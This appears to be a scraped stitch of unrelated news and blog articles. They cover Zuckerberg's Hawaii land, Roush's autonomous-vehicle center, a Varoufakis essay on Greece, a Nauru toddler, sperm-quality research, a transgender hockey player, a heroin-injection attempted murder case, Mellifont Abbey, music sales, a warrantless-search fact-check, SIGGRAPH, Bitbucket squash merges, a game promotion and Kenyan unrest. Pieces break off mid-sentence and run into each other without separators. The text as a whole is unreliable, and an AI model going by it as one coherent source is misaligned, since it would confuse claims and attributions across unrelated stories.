Andrade is a retired 72-year-old University of Hawaii professor of Hawaiian studies who said he lived on his family’s kuleana land from 1977 until recently.
He told the newspaper he's supporting Zuckerberg to make sure that his family property isn’t lost to the county. Legally documenting who in his family owns what share in the property is too expensive for him, he told the newspaper.
This is not the first time Zuckerberg has taken steps to boost the privacy of his beachfront estate. In June, he upset neighbors by building a rock wall that obstructed their views of the ocean.
Read or Share this story: http://usat.ly/2k57tfKRoush Industries, which employs about 3,000, is part of Livonia-based Roush Enterprises, which also includes Roush Fenway Racing; Roush Performance and Roush CleanTech
Roush opened a new, 44,000-square-foot engineering center in Troy where it will employ about 150 engineers and technicians who will be focused on the development of systems and technology for autonomous vehicles in May, 2017. (Photo: Roush Industries)
Roush Industries is taking the plunge into the increasingly competitive arena of software and data analytics for autonomous vehicles.
The company — a longtime leader in engineering, testing, prototype and manufacturing for the automotive industry — has opened a 44,000-square-foot technical center in Troy. The center will serve as headquarters for a staff of engineers who build the company's expertise software that will manage data that autonomous vehicles need to navigate.
Eventually, Roush expects to employ about 150 engineers in Troy. About 20 have been hired. To apply for jobs, go to the company's careers page at www.roush.com/join-our-team.
In addition to software and data analytics, which is a new area for Roush, engineers at the center will work on electric vehicle systems and autonomous vehicle systems.
"We are seeing quite a bit of growth in our business related to autonomous vehicles," said Gary Rogers, vice president of advanced engineering for Roush. "Different levels of driver assistance, up to the point of self-driving vehicles. And so we are supporting activities for the integration of those systems plus the testing of such vehicles."
The company, based in Livonia, decided to open the development center in Troy so it could be closer to customers such as Fiat Chrysler Automobiles in Auburn Hills, as well as to the U.S. Army Tank Automotive Research and Development Center in Warren.
Related:
Rogers declined to say which customers are using Roush's expertise to develop autonomous-car systems because that information is highly sensitive with the technology emerging and changing quickly.
In 2015, Roush built about 150 self-driving cars for Google's Self-Driving Car project, which has been renamed Waymo.
"We are supporting several customers who have their own self-driving programs," Rogers said. "And we — through our test services group — we are testing such vehicles and gathering a lot of information on those vehicles as we test them."
Roush Industries, which employs about 3,000, is part of Livonia-based Roush Enterprises.
Founded by Jack Roush, Roush Enterprises encompasses a family of related companies including Roush Fenway Racing; Roush Performance, a developer and manufacturer of performance vehicles and products for the automotive aftermarket, and Roush CleanTech, a developer and manufacturer of alternative-fuel systems for the fleet vehicle market.
Contact Brent Snavely: 313-222-6512 or [email protected]. Follow him on Twitter @BrentSnavely.
Read or Share this story: http://on.freep.com/2pt7GvpStory highlights Greeks believe U.S. has no sway over Europe's economic crisis, says Varoufakis
Many are worried the ECB could plan to kick Greece out of euro after U.S. election
Varoufakis: Crash of 2008 robbed America of much of its global authority
My first memory of anything to do with a U.S. presidential election lurks in the mists of my Athenian childhood.
It was a warm June evening. My mother had taken me for a walk around the ancient stadium where the first modern-era Olympics were staged in 1896.
Suddenly I saw her eyes fill with tears after hearing a newsboy screaming, at the top of his voice, that someone called Bobby Kennedy was dead.
It was 1968, a year into the dark ages of our military dictatorship. I still recall her explanation of those tears: "He was our last chance," she lamented.
Yanis Varoufakis
When in the months and years that followed members of my family were arrested by the secret police, when the streets of Athens caught fire following the student uprising of 1973, when, indeed, war broke out over Cyprus in 1974, it was not hard to imagine that our calamities must have had something to do with the fact that three well aimed bullets had kept a good man out of the White House.
It was 1976 again when a U.S. presidential campaign snuck into my then-teenage imagination. I recall my schoolmaster's enthusiasm for a certain Mr. Carter -- who would, in his estimation, put human rights on the map, impose an arms embargo on Turkey and, thus, reward the recently re-democratised Greece with the bargaining power it craved so as to reverse Cyprus' occupation, and thus liberate us Greeks from the need to spend an unseemly portion of our national income on defence.
While the embargo was indeed introduced, it was not long before my schoolmaster and every other Greek I knew were deeply disappointed by the president from Georgia.
Looking back, every U.S. election of that past few decades incited expectations amongst my fellow Greeks that were, quite quickly, dashed -- although this was more a reflection of our unrealistic expectations than on anything that occurred in Washington.
Thankfully, this pattern seems to have been broken. Today, no one I know casts a longing eye on the White House. Even though Greece is needier than it has been for a long while, Greeks are not looking to Washington, D.C. for rays of hope.
If anything, Greek public opinion is wary of what might happen after the election is over, fearful that Germany and the European Central Bank may be delaying any attempt to amputate Greece from the eurozone until after the political dust has settled in the United States.
My hunch is that Greeks have the impression that America no longer has either the interest or the capacity to influence our modus vivendi.
They saw the contempt with which the inane European finance ministers treated Tim Geithner, the U.S. Treasury Secretary, in the fall of 2011, when he visited them in Poland to impart advice on how to address the euro crisis.
From this and other sad incidents, Greeks have surmised that the U.S. no longer holds sway over our European destiny; at least not the way it used to.
Where once we would intensely study every little sign coming from Washington for clues of what might befall or grace us, now the Greek antennae are trained anxiously toward Frankfurt, Berlin and Paris.
While these lines are being written, my wife and I are preparing for our move to America; in effect, postmodern refugees from our hideous crisis. A job offer as chief economist for a video game company, and a visiting professorship at University of Texas, at Austin, plus an opportunity for my artist wife to work and exhibit in the West Coast, offered us escape pods from the misery of Greece, indeed from Europe's inanity.
JUST WATCHED Six-day work week in Greece? Replay More Videos... MUST WATCH Six-day work week in Greece? 00:10
As we prepare, our friends, strangers who stop me in the street, waiters in restaurants, everyone asks us about America. And most have something to say about the presidential election.
The Greeks I speak to would rather Mr. Obama won. But they do not fear a Mitt Romney administration. Interestingly, they tend to think of the U.S. as a country which, powerful as it may still be, is just as impotent in the face of the forces of global recession as we are.
And here lies the difference from the past: Athenians exhibit a new and unexpected form of national unity when discussing the U.S. election!
Whereas in the past we were divided between Left and Right, between pro- and anti-Americans, nowadays America is being seen by almost everyone here as a kindred spirit; a nation that understands what the Greeks, the Irish, the Portuguese etc. are going through in the hands of a German-dominated austerian Europe; a continent that has lost its way.
Greeks even seem to have developed a sophisticated feel about the divisions within the United States, between those struggling in the current recessionary climate and the notorious 1% who have never had it so
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St. Felix told police he was not on his medication when he made the post but was currently taking his meds. He’s being held on $500,000 bond and was told to have no contact with Diaz.A Brisbane hospital is refusing to discharge an asylum seeker toddler who has been recovering from burns, in a bid to prevent the Turnbull government from returning her to immigration detention at Nauru.
In a statement, a spokesperson from Lady Cilento Children's Hospital said it was treating a 12-month-old girl from Nauru who "will only be discharged once a suitable home environment is identified", as was the case with every child who presented at the hospital.
"All decisions relating to a patient's treatment and discharge are made by qualified clinical staff, based on a thorough assessment of the individual patient's clinical condition and circumstances, and with the goal of delivering the best outcome," the spokesperson said.
Getup human rights director Shen Narayanasamy said the child's mother "feels safer now that the doctors are trying to protect her child from the clearly abusive conditions Asha [a pseudonym] faces upon return to detention".Modern life, chemicals damaging men’s chances of having a family
Sunscreen and cosmetics could be killing men’s sperm, according to researchers who found that only one in four males has good fertility levels.
Experts in reproduction said chemicals and the trappings of modern life appeared to be damaging men’s chances of having a family.
Research found that just 25% of young men were producing good quality sperm, and the average volume had declined by a quarter since the 1940s. The findings were presented at the European Society of Human Reproduction and Embryology’s annual meeting in Lisbon.
Dr Niels Jorgensen, a consultant at Rigshospitalet, in Copenhagen, said thousands of chemicals found in bathrooms and kitchens were likely to be to blame for the changes.
“Modern life is having an impact because we are exposed to so many chemicals and we don’t know what they do,” he said. Chemicals found in sun cream, cosmetics, frying pans, cars, foods and even in items of clothing could all increase risks to sperm, he suggested.
His study of almost 5000 Danish men, with an average age of 19, found that 15% had very poor quality sperm, and just 25% had good quality semen.
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Browne made headlines last fall as America’s first transgender professional hockey player. He skates for the Buffalo Beauts, a team in the National Women’s Hockey League, and has helped lead them to a crucial game tonight against the New York Riveters, as they vie to advance to the next round of the Isobel Cup playoffs. A loss would mean not only the end of the season, but the end of his career, Browne said.
The Beauts forward announced this week he is retiring because he has other priorities to attend to.
“I want to start transitioning and seeing myself in the mirror the way I see on the inside.”
Michael Hertzel/National Women's Hockey League
Browne, who is also known by the nickname “Brownie,” came out publicly in an interview with ESPN last year, his second with the league. He had told friends and family when he was still in college but wasn’t ready then to go full-time.
“I identify as a man,” Browne told the sports network. “My family is starting to come to grips with it, now it’s my time to be known as who I am, to be authentic and to hear my name said right when I get a point, or see my name on a website.”
Michael P. Majewski/NWHL via AP
In the months since then, Browne told NPR the support he’s received has been overwhelming.
“My teammates, my coaches, and the league did a great job of just treating me like a regular teammate.”
“I started to feel a really big disconnect between my personal identity and my professional identity,” Browne said. “Whenever I would hear my name announced…I just wanted to align it.”
Fellow transgender athletes have sent him messages of encouragement via social media, telling him “they are so thankful that there’s somebody out there that did what they couldn’t,” he said.
“I’m glad that I broke down a wall,” he said. “I’m glad that I was able to help people in need.”
This Story Filed UnderPolice say a Washington man tried to kill his 4-year-old son by injecting him with heroin on the day his divorce was due to be finalized from the boy’s mother.
The child’s mother said she found Eric Lehtinen and their son lying unconscious Tuesday on a bed inside a locked Redmond home, reported the Seattle Post Intelligencer.
She removed a blanket to find a syringe apparently filled with drugs on her son’s chest, police said.
Firefighters were unable to revive the man or his son at the home, but the 37-year-old Lehtinen has since been released from a hospital and jailed on an attempted murder charge.
Bond was set at $3 million.
The child remains hospitalized, and authorities aren’t sure whether he’ll suffer long-term damage from the drug overdose.
Investigators said they found puncture marks on his neck and buttocks, and police said he’d apparently been injected with heroin, ketamine, morphine, codeine and other drugs.
The boy’s mother had returned with her son from San Francisco to interview for a job in Seattle, police said.
She had allowed her son to stay with his father despite a request that any child custody order require drug tests, although the woman said Lehtinen told her he’d quit using drugs.
Police said they found drugs, drug paraphernalia and more than $12,000 cash in Lehtinen’s home.
If convicted, Lehtinen could be sentenced to up to 15 years in prison.
[A man injects himself with heroin. Photo: Shutterstock.com]Mellifont Abbey in County Louth is one of the most interesting if inconspicuous (at first glance) abbeys in Ireland.
It was founded by St. Malachy, with a group of Irish and French monks in 1142. It was the first Cistercian monastery in Ireland.
The Cistercian Order was founded in 1098 in Citeaux in what is now France. While its foundation is complex, essentially it was a reaction against the perceived corruption and extravagance of the older Benedictine monasteries like Cluny. The aim of the Cistercian Order was to return to the original ideals of St Benedict and to live a very simple life. Cistercian abbeys were usually isolated and self sufficient, though the lay brothers did the work on the farms because the monks were cloistered. They lived simply and ascetically, closely following the rule, away from the gold, excesses and luxuries often seen in the bigger older monasteries. They also deliberately founded daughter houses. By 1153 over 350 houses had been established across Europe, including Mellifont. This was at least partly due to the work of the man who is probably the best known Cistercian of his period; Bernard of Clairvaux.
Bernard is not one of my favourite historical figures, largely due to his puritanical opposition to Eleanor of Aquitaine when she was Queen of France. He was, however important. He joined the Cistercian Order as a novice in 1113 and by 1115 was the founding abbot of one of the early daughter houses in Clairvaux. He preached the 2nd crusade, was a councillor to Louis VII and had an immense amount of influence. He died in 1153 and was canonised by 1174.
It was Bernard’s friend St Malachy who founded Mellifont Abbey. He was granted the land by Donnchadh Ua Cerbhaill, King of Airghialla. It was founded with roughly 300 monks and 300 conventuals. The church in the abbey was consecrated in 1157. The remains of part of the transept can be seen below.
The foundation was part of a general re-evaluation of christianity in Ireland. There were several Synods leading up to Mellifont’s foundation in 1142. Furthermore the Cistercians were only one of a number of continental orders that arrived in Ireland at around the same time.
Mellifont might have been the first Cistercian abbey in Ireland, but it certainly wasn’t the last. It was the mother house for at least 8 daughter houses by 1153, including Boyle Abbey which was founded in 1148. The church of which can be seen below.
The Cistercian Order spread quickly, partly because of Ireland’s landscape, which worked well for the Cistercian model of isolated self-sufficiency. The abbeys were also supported by the incoming Norman-French/ English nobility who came to Ireland in c.1170. Many of the Cistercian abbeys can be found in parts of Ireland that were under Norman control by 1200. An example is Tintern Abbey which was founded by William Marshal.
Marshal came to visit his lands in Ireland that came to him by right of his wife Isabel de Clare in 1200-1201. They were caught in a terrible storm crossing the Irish Sea and Marshal vowed to God that if they survived he would found an abbey. The ship didn’t sink and Marshal kept his word. As thanks to God for their survival he founded Tintern Abbey, which stands on Hook Head Peninsula. It’s known as Tintern of the Vow as well as Tintern Parva, meaning small Tintern in Latin. It can be seen below.
It is a daughter house of Tintern Abbey in Wales, which also stood on Marshal land. It can be seen below.
As you can see from the photos of other surviving Cistercian abbeys there is comparatively little left at Mellifont. It, like many other abbeys, was a victim of the Dissolution of the Monasteries in the 16th century. Following the Dissolution the buildings came to Sir Edward Moore who converted them into a fortified residence. It played a role in several Irish wars and during the Battle of the Boyne in 1690 King William based his headquarters there. It fell into disrepair in the early 18th century and eventually ended up in the hands of the state in the 1880s.
Despite that lack of large buildings remaining there are some fascinating surviving features. The one most people notice is the lavabo which dates to the beginning of the 13th century and would have been where the monks washed before entering the refectory. You can see it in the photos below. It is an unusual survival partly because it was octagonal.
Additionally much of the intricate stone work has survived and can be found preserved in the visitors centre. Examples can be seen below.
My favourite survivals however are the medieval tiles. I’ve written about medieval tiles before and that can be found here.
The tiles at Mellifont aren’t in the original positions and they are kept in formation in a closed off area because they were damaged by vandalism. They were most likely first introduced to Mellifont sometime after 1230. Intricate patterns adorn the tiles. They represent roughly 10 or 11 of the common medieval tile designs. You can see examples of surviving tiles below.
I was also lucky enough to be able to have a look at some of the individual tiles which are in storage, including a really lovely lion rampant tile (see below). The tiles are surprisingly heavy and are earthenware with a lead glaze. They were fired in batches in a kiln. Mellifont would have bought them in, not made them on site
Most of these tiles were discovered during an excavation in the 1950s.
The overall evolution of Mellifont Abbey architecturally was key to religious architectural development in Ireland generally. It would have possessed some of the most dramatic and beautiful church buildings in Ireland. By 1540 Mellifont held estates that extended to 50 000 acres making the abbot one of the wealthiest landlords in the country. It was remodelled on several occasions and it is likely that other religious buildings across Ireland would have been based on its design. The photo below is a model which shows how the abbey itself might have looked at the height of its powers.
Mellifont benefited from the support of many noble families including local Irish nobility, especially in its early years before the Norman conquest. For example Dervogilla, who was the wife of O’Rourke of Breffini, gave a gold chalice for the altar and furnishing for nine other altars as a gift for the consecration of the church in 1157. Only a little before this gift Dervogilla had, unwittingly, become one of the key sources in the Norman invasion of ireland.
Diarmait Mac Murchada was King of Leinster. He was involved with the other kings of Ireland in various disputes and battles. In 1152 during yet another conflict he carried off Dervogilla, who was the wife of his old enemy O’Rourke, and her cattle. Depending what source you believe she may have been consenting as her husband was a bit of a tyrant. This abduction was a personal insult to O’Rourke and he held a grudge. Although O’Rourke managed to reclaim Dervogilla, a little over a year later, he never forgave or forgot Diarmait. His grudge helped to lead to Diarmait’s loss of his kingdom in 1166 and his subsequent request for help from Henry II, which brought the Norman/French to Ireland in 1169. The never left again.
Dervogilla may have stayed with her husband after being reclaimed, but as well as Mellifont she had the Church of the Nuns at Clonmacnoise built. You can see some of Clonmacnoise in the photo below.
Dervogilla retired in 1186 to Mellifont and she died there. It is possible that she was buried in the wall of the church and legend has it that she was buried the wrong way round because she was a “fallen woman”.
Mellifont Abbey was at the core of faith in Ireland from its foundation in 1142 until its dissolution in the 16th century. It shaped the way religion was enacted in the country and it shaped the development of many other religious houses. For what now, especially in comparison to other sites, seems to be a small and inconspicuous grouping of walls and buildings it is of national historical importance.
References:
Site visit to Mellifont, Boyle, Clonmacnoise in 2015. Site visit to Tintern Pava in 2012 and 2015. Site visit to Tintern 2012.
Mellifont Abbey OPW guide-book.
Ireland Under The Normans 1169-1333 by Goddard Henry Orpen. ISBN: 9781851827152
Proceedings of the Royal Irish Academy 1980: Mellifont Abbey: A Study of Its Architectural History by Stalley. pg 264 http://www.jstor.org.ezproxy.slv.vic.gov.au/stable/25506059
Proceedings of the Royal Irish Academy :Excavations at Mellifont Abbey, Co. Louth: Liam de Paor, J. Hunt, H. J. Plenderleith and Michael Dolley pg 110. http://www.jstor.org.ezproxy.slv.vic.gov.au/stable/25505154http://www.jstor.org.ezproxy.slv.vic.gov.au/stable/25505154
A Monastic Landscape: The Cistercians in medieval Ireland. Dr. Breda Lynch. ISBN. 9781453561003
Special thanks to Lindsay from OPW at the site who answered all my questions and showed me the tiles.
The photos are all mine.Global music sales rose by 0.3 percent to $16.5 billion in 2012. While decimal growth is not typically a respectable cause for jubilee, this marks the first good year for the industry since 1999. Music's 21st-century renaissance boils down to four factors: Better mobile technology, a growing global middle class, more music-listening options, and an effective crackdown on piracy that is making paid music a more attractive option.
Perhaps this was a dead-cat bounce for an industry flayed by Napster, BitTorrent, and other file-sharing programs. But here's the case that music's comeback is for real -- with help from the IFPI Digital Music Report.
MUSIC GROWING EVERYWHERE (EXCEPT IN AMERICA)
Digital music (which accounts for about 1/3 of global music sales, and more than 1/2 of U.S. sales) aren't just rising. They're accelerating. Downloads, subscriptions and ad-supported music sales all growing. Online sales are following on the heels of smartphone penetration growth around the world. All good news there, but at least half of the top 20 markets aren't growing. Chief among them: the United States, where music sales are still falling.
SUBSCRIPTIONS vs. DOWNLOADS AROUND THE WORLD
When Napster debuted, there was no iTunes, no YouTube, and no Spotify. But in the last 13 years, the market for paid downloads, ad-supported music, and subscription services has blossomed. Subscription services alone have grown 44 percent since 2011.On 24 August 2017, TheFreeThoughtProject.com, which mostly posts stories geared towards stoking fear that the government is on the verge of becoming an authoritarian police state, posted a story with an alarming headline: “Congress Quietly Passed a Bill Allowing Warrantless Searches of Homes — Only 1% Opposed It.”
The web site reports:
A bill that will allow homes to be searched without a warrant was passed with overwhelming support by the United States Congress, and signed into law by President Trump—and it happened with no media coverage and very little fanfare.
The legislation in question is House Joint Resolution 76, which authorizes Washington, D.C., Maryland, and Virginia to form an intergovernmental transit commission, the Washington Metrorail Safety Commission, or MSC. The bill passed overwhelmingly — unanimously in the Senate — and was signed into law by President Donald Trump on 22 August 2017. Only five Republicans, including Rep. Justin Amash (R-Michigan), voted “no”.
Amash took issue with language in the bill he believed was unconstitutional, in that it could be interpreted to mean that Metro officials could search private property without obtaining a warrant first, in violation of the Fourth Amendment. The portion he expressed concern about reads:
In carrying out its purposes, the Commission, through its Board or designated employees or agents, shall, consistent with federal law: … Enter upon the WMATA Rail System and, upon reasonable notice and a finding by the chief executive officer that a need exists, upon any lands, waters, and premises adjacent to the WMATA Rail System, including, without limitation, property owned or occupied by the federal government, for the purpose of making inspections, investigations, examinations, and testing as the Commission may deem necessary to carry out the purposes of this MSC Compact, and such entry shall not be deemed a trespass. The Commission shall make reasonable reimbursement for any actual damage resulting to any such adjacent lands, waters, and premises as a result of such activities[.]
When asked for further comment, Amash’s spokeswoman directed us an exchange he had on Twitter with George Washington University criminal law professor Orin Kerr, who posted a similar story in ZeroHedge.com (another conspiratorial web site) interpreting it as inaccurate. In the exchange, Amash argued the bill is poorly-drafted and authorizes a violation of the Fourth Amendment, which ensures “the right of the people to be secure in their persons, houses, papers, and effects, against unreasonable searches and seizures”:
This bill does authorize a #4thAmendment violation. Congress has a duty not to pass such broad language even if Constitution nullifies it. — Justin Amash (@justinamash) August 27, 2017
I agree with your general observations, but courts haven’t sufficiently protected rights. 4A requires probable cause & warrant for searches. — Justin Amash (@justinamash) August 27, 2017
We followed up with Kerr, who told us the government can’t simply pass a law that subverts the Constitution. In an e-mail, he told us:
I don’t think the language tries to do that, and if it does that, it’s unconstitutional and can’t be given effect. Some of the language is admittedly vague: It says that [Washington Metropolitan Area Transit Authority] WMATA officers can enter “premises adjacent to the WMATA Rail System,” without saying what counts as “premises.” The fear is that maybe this allows the WMATA to enter private homes and other spaces. But the text doesn’t directly say that, or say anything about warrants, and I suspect a court would say that “premises” doesn’t mean spaces protected by the 4th Amendment because that would render the law unconstitutional. The government can’t just pass a law allowing warrantless home searches: The Fourth Amendment wouldn’t allow that. The whole point of the Fourth Amendment is to keep governments from being able to take away our rights like that; the legislature can’t eliminate the protections that the Constitution guarantees. (Open spaces like fields and yards aren’t protected by the Fourth Amendment, so that wouldn’t
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the equivalent of captivity? At what point does conviction come at the expense of creative output? Can an artist—a black female artist—participate in the entertainment industry purely on her own terms?
Hill’s reputation as a tormented recluse obscures what’s actually happened in recent years, which is more than meets the eye. Since 2010, she has been working quietly and diligently on a new album and a host of politically minded film projects. She began touring again five years ago as a way of exercising artistic muscle and financing her recording plans, says Phil Nicolo, one of her current producers and a founder of Ruffhouse, the Fugees’ original label. According to Nicolo, she is closer than ever to finishing the follow-up to Miseducation. And thanks to her involvement in a documentary about the late Nina Simone—perhaps her greatest forebear—Hill is on the brink of a genuine comeback. With world politics dovetailing with pop culture in an unprecedented way, there couldn’t be a better time.But first, a quick recap on the Computer Animation Festival. Although it’s had several incarnations over the years, the festival has always been one of the premiere events to submit computer graphics-related digital film and video creations. The content shown at SIGGRAPH was perhaps originally more technical in nature but soon morphed into breakthrough shorts from studios like Pixar and PDI. The digital vfx and cgi explosion of the early 1990s also saw many visual effects studios enter demo reels and their work on particular film sequences into the Computer Animation Festival.
In fact, that’s an important point to note about the Festival. It’s jury-reviewed, which means submissions are considered by a panel and prizes are presented (these prizes, too, have ranged in nature but generally include best in show, jury’s choice, best student project, and a range of other categories). And since 1999, the Academy of Motion Picture Arts and Sciences has recognized the Computer Animation Festival as a qualifying festival for the best animated short film Oscar.
But, as noted, digital storytelling is changing. For example, Patrick Osborne’s animated short Pearl received significant attention when it was released as a 360 degree interactive video (A non-interactive and non-360 theatrical version of the short received an Oscar nomination this year). Last year at SIGGRAPH 2016, Pearl was presented on as part of a ‘production session’ at the conference.
The advent of more and more vr and 360 degree films like Pearl, and similar immersive content, spurred the Computer Animation Festival committee to devise the VR Theater at this year’s conference in Los Angeles. What does that actually mean? Well, in the same way that the Electronic Theater will be the home for passive, linear narratives at the Computer Animation Festival, the new VR Theater will be the place to watch immersive and interactive stories.
Watching these vr stories together is a key feature of the new VR Theater, since oftentimes the usual process of watching a vr experience is to stand in line to don a headset. Instead, says Jeremias, “the VR Theater will be a physical space that attendees will have access to. The space will have individual headsets for every attendee in the room. All attendees that access the VR Theater will be able to enjoy a selection of vr storytelling pieces that explore the medium’s unique style.”
Wait, isn’t there already a vr component of SIGGRAPH? There absolutely is. Indeed, there’s more than one place to check out vr experiences. VR presentations have been available at the Emerging Technologies and in the VR Village in past SIGGRAPH conferences. “Emerging Technologies focuses on hardware innovations, VR Village focuses on installations, and the Computer Animation Festival’s VR Theater will focus on the storytelling experience,” clarified Jeremias.
Submissions for the Computer Animation Festival are due by March 21st. Jeremias advises that the jurors are looking for “high quality submissions, breakthrough achievements, great stories, and innovative storytelling.” These submissions can be in two paths, as outlined on the SIGGRAPH website:
Electronic Theater : We are looking for short films, sequences, “dailies” breakdowns, excerpts from feature films, audio or visual experiences such as music videos or captured interactive experiences, cultural exhibitions, advertisements, simulations, data visualizations, or real-time content.
: We are looking for short films, sequences, “dailies” breakdowns, excerpts from feature films, audio or visual experiences such as music videos or captured interactive experiences, cultural exhibitions, advertisements, simulations, data visualizations, or real-time content. VR Theater: We are looking for short films, advertisements, music videos, or experiences that explore ways to tell stories in virtual reality.
It’s great to see SIGGRAPH continuing to adapt to a changing landscape in the computer graphics world (the conference has over the past few years also been tweaking the way it showcases innovations in real-time animation, interaction and rendering, for example). VR is certainly a technology artists are interested in producing for, while adoption seems still in its early days. Having a way to see, and perhaps feel, more vr content, should help the medium.
SIGGRAPH 2017 takes place in Los Angeles on 30 July – 3 August. Find out more about submitting to the Computer Animation Festival here.Imagine you’re working on a feature. You create a pull request with your changes and get some feedback. You update your pull request by adding another commit that addresses the feedback. Maybe you notice a typo. So you create another commit that fixes the typo. Very soon, your feature branch has a lot going on with all these commits:
So you get your PR approvals and you merge. But looking through your repository’s history, you notice that it looks busy. A lot of these commits don’t actually add any value to your repo’s history. They clutter up the blame, make bisects take longer and generally make the history hard to navigate.
Squash your commits in Bitbucket Cloud
You could always squash commits via the command line using “git merge –squash” but this is just another time consuming step, and it would be a lot easier to have it done for you from Bitbucket. Today we’re launching the ability for Git users to squash commits in feature branches when merging pull requests. Combining these commits will provide a clean, easy-to-follow history for your repo. This new merge strategy can be found when a pull request:
Merge commit (–no-ff) will keep all of your commits from your feature branch, while Squash (–squash) is the new option that will allow you to combine your commits and clean up your repo.
on squashing commits in Mercurial
This feature rollout applies only to Git and not Mercurial… yet. Squash requires exchange of obsolescence markers – part of the evolve extension – so we’re working with Mercurial’s maintainers to get evolve bundled in core Mercurial, as well as adding support for it in Bitbucket. For developers already using the evolve extension, we hope to have a beta for squashing in Mercurial available soon.
In order to help make features like this accessible to the community in the future, including through further development of the Mercurial platform, Bitbucket is making a charitable donation to the Software Freedom Conservancy. We’re proud to support the Software Freedom Conservancy and promote the development of platforms like Mercurial, and encourage you to keep a look out for advancements to come.
Try Squash-merges
Next time you want to merge a pull request, try out the squash merge option and tell us what you think on Twitter.
If you’re new to Bitbucket, sign up for an account, import some code, add your team mates and have them review your code via a pull request. When you are ready to merge their feedback, you will find the new squash merge strategy.
Looking for more in depth information on this new feature? More information on squash merges can be found here.
Get started, it’s free
Have more specific questions about this post? Reach out to us on Twitter to get the information you need. Looking for squash merges in Bitbucket Server? Merge strategies are available in Bitbucket Server 4.9.Rule of Acquisition # 191 It Never Hurts to Sweeten the Deal
Any Captain knows that when a deal comes your way, it’s best to act on it. We’re pleased to announce that Ferengi Merchants are adding an extra incentive for any user. For any Captain, their first purchase of ZEN for Star Trek Online through the Arc Games web page or the Arc Client starting at 9am PST today, allows them to claim one new First Time Buyer Pack in the Promotions section of the C-store. With our current 15% Bonus to ZEN, Captains should definitely take advantage of this opportunity!
Claiming this pack in the Promotions section of the C-store and unpacking it will reward:
3 Master Keys (Bound to account)
1 Large XP Boost (Bound to Account) This cannot be used until after the tutorial is completed.
1 Research and Development rewardpack (Bound to Account) R&D items cannot be used until the player is level 11.
1 ship pack that unpacks a shuttle depending on faction All Federation or Federation-aligned Romulans on the account will get the Runabout Yellowstone shuttle. All Klingon and Klingon-aligned Romulans will get the To'duj Fighter shuttle. Romulans. Please note: Romulans without a faction will not receive this ship pack.
Captains who take advantage of this offer will find the First Time Buyer Pack in the Promotions section of the C-store within 15 minutes of their purchase. This is a great chance for any Captain to get some extra bang for their buck! Grab yours today!
Remember Captains, Rule of Acquisition # 22: A wise man can hear profit in the wind. Now is the time to act.
Discuss in the forums
Please note: This system activated as of 9am PST on 2/12. Zen purchases through Steam do not qualify.Marvel President Kevin Feige has to be careful when he appears in public. Every single time he shows up somewhere, he’s bombarded with questions about the Marvel rumor mill. The latest inquiries all center on Doctor Strange. Feige was on hand at the premiere of All Hail the King in Los Angeles, CA and was questioned about the director short list that’s been making the rounds, as well as potential casting for the film.
Feige said the central role doesn’t necessarily need to be played by a movie star, but a movie star would be good. As for the directors, he said Marvel is taking meetings, but those reported names were incorrect. Read his full quotes below.
The quotes come from IGN. First up, on the director short list, Feige said the following:
Well, that article was true, that we’re meeting a lot of people now. That article was not true about who we’re meeting or what level anybody is. But we’e actively looking….We always look at a wide range of people with a wide range of backgrounds. There’s only one criteria: do something that we think is really cool. [Laughs] That’s about it.
He was then asked if a movie star needed to play the role, probably a reference to the rumor Johnny Depp was in talks:
You know, I would say that we’re pretty transparent, right? Doctor Strange would be our — well, depending on when we make it, it could be our 13th, 14th, 15th movie, right? I think if you’re looking to track our decision-making and how we’ve done things, we have a pretty wide track record now where you can sort of see. So, no, a movie star is not required, but that does’t mean a movie star wouldn’t be great. It just depends.
Pretty judicious answers from the Prez, but there’s also that denial of Mark Andrews, Nikolaj Arcel, Dean Israelite and Jonathan Levine. (Or, at least it sounds like that. Talking about the “levels” could mean he did meet one or two of them, but they aren’t in contention.) I’d venture to bet after that Ant-Man casting, and Guardians trailer, a Strange announcement will be the next big thing from Marvel. Expect a ton of new info with Captain America: The Winter Soldier starting to screen next month.
Do you agree Strange doesn’t need to be a star?Here’s yet another example of Christian groups demanding government funding and recognition and then freaking out at the idea that a Muslim group is eligible for the same benefits. Louisiana has a new law that allows vouchers for private schools, which they thought was great when they thought it would only give money to Christian schools. But then a Muslim academy applied for the same thing and, well, the result was predictable.
Rep. Kenneth Havard, R-Jackson, objected to including the Islamic School of Greater New Orleans in a list of schools approved by the education department to accept as many as 38 voucher students. Havard said he wouldn’t support any spending plan that “will fund Islamic teaching.” “I won’t go back home and explain to my people that I supported this,” he said. “It’ll be the Church of Scientology next year,” said Rep. Sam Jones, D-Franklin.
Yep, it might be. And there are two alternatives: You can either not fund religious schools at all through vouchers, or you have to fund any religious school with students who use them. What you can’t do, no matter how much you want to, is say that only Christian schools get the money. It’s that pesky First Amendment thing you might have heard of (not to mention the 14th Amendment).
The Islamic School of Greater New Orleans has since withdrawn its request for vouchers. But Havard’s concern for religious teaching being funded by taxpayer dollars seems to extend only so far. Reuters reported earlier this month that some of the parochial schools that stand to benefit the most intersperse biblical teachings directly into math, science and reading curricula, often at the expense of an actual education. New Living World, which says it can accept more than 300 vouchers, is one such school. The campus has no library, and classrooms are often adorned with little more than a TV on which biblically-themed DVDs recite the day’s lesson. Another, The Upperroom Bible Church Academy, is housed in a windowless building with no playground. They can accept more than 200 students, and would stand to receive as much as $1.8 million. Eternity Christian Academy (135 vouchers) doesn’t permit the teaching of evolution.
And as ThinkProgress shows, Christian schools are gonna make a windfall on this:
Taxpayer funding for Christian schools is awesome; taxpayer funding for Muslim schools? Outrageous! Who would ever think of such a thing!Mary Macharia, a victim of last year’s ethnic violence in Kenya, was burned and her daughter was killed when a mob set fire to a church. “Some days I hate myself,” said Ms. Macharia.
__________
One year after this country exploded in ethnic bloodshed, trouble is brewing here again.
Ten million people face starvation, partly because farmers in crucial food-producing areas who fled their homes last year have not returned, instead withdrawing deeper into their ethnic enclaves, deeper into fear.
At the same time, public confidence in the Kenyan government is plummeting. Top politicians have been implicated in an endless string of scandals involving tourism, fuel, guns and corn.
On Wednesday, United Nations officials called for the country’s police chief and attorney general to resign after a United Nations investigation revealed that more than 500 people had been killed by police death squads. One of the Kenyan whistle-blowers himself was shot to death after providing detailed evidence.
“There’s a lot of anger,” said Maina Kiai, the former director of Kenya’s national human rights commission. “If we don’t start resolving these issues soon, things could be worse than before. There could be complete collapse.”
The grand coalition government that was formed last year between Kenya’s governing party and the opposition, after a deeply flawed election, is now widely dismissed as the “grand letdown.” It managed to stop the bloodletting between different ethnic groups that tore this country apart in 2008, killing more than 1,000 people, but has accomplished little else.
